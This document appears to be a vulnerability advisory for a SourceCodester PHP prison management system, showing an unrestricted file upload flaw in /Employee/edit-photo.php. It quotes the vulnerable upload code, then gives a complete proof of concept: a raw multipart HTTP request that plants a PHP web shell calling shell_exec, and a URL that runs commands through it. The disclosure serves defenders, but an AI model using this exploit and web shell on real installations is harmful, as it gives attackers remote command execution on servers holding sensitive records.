Prison Management System - File upload RCE (/Employee/edit-photo.php)

Vendor Homepage:

https://www.sourcecodester.com/sql/17287/prison-management-system.html

Version:

V1.0

Tested on:

PHP, Apache, MySQL

Affected Page: /Employee/edit-photo.php

Using $\_FILES['userImage']['tmp\_name']) as the filename on the server can lead to file upload attacks.

if(isset($\_POST["btnedit"])){

$image= addslashes(file\_get\_contents($\_FILES['userImage']['tmp\_name']));

$image\_name= addslashes($\_FILES['userImage']['name']);

$image\_size= getimagesize($\_FILES['userImage']['tmp\_name']);

move\_uploaded\_file($\_FILES["userImage"]["tmp\_name"],"../uploadImage/Profile/" . $\_FILES["userImage"]["name"]);

$location="uploadImage/Profile/" . $\_FILES["userImage"]["name"];

$sql = " update tblemployee set photo='$location' where email='$email'";

if (mysqli\_query($conn, $sql)) {

header("Location: profile.php");

}else{

$\_SESSION['error']='Editing Was Not Successful';

}

}

Proof of vulnerability:

Upload a jpg, capture the packet, modify the file content to malicious code, and modify the file suffix to php

Request:

POST /Employee/edit-photo.php HTTP/1.1

Host: 192.168.150.131

Content-Length: 319

Cache-Control: max-age=0

Origin: http://192.168.150.131

DNT: 1

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHpP9AaD4pW6vykY3

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://192.168.150.131/Employee/edit-photo.php

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: PHPSESSID=90379e534d51402f246c8b8c9ff11b59

Connection: close

------WebKitFormBoundaryHpP9AaD4pW6vykY3

Content-Disposition: form-data; name="userImage"; filename="test.php"

Content-Type: image/jpeg

<?php echo shell\_exec($\_GET['cmd']);?>

------WebKitFormBoundaryHpP9AaD4pW6vykY3

Content-Disposition: form-data; name="btnedit"

------WebKitFormBoundaryHpP9AaD4pW6vykY3--

http://192.168.150.131/uploadImage/Profile/test.php?cmd=whoami

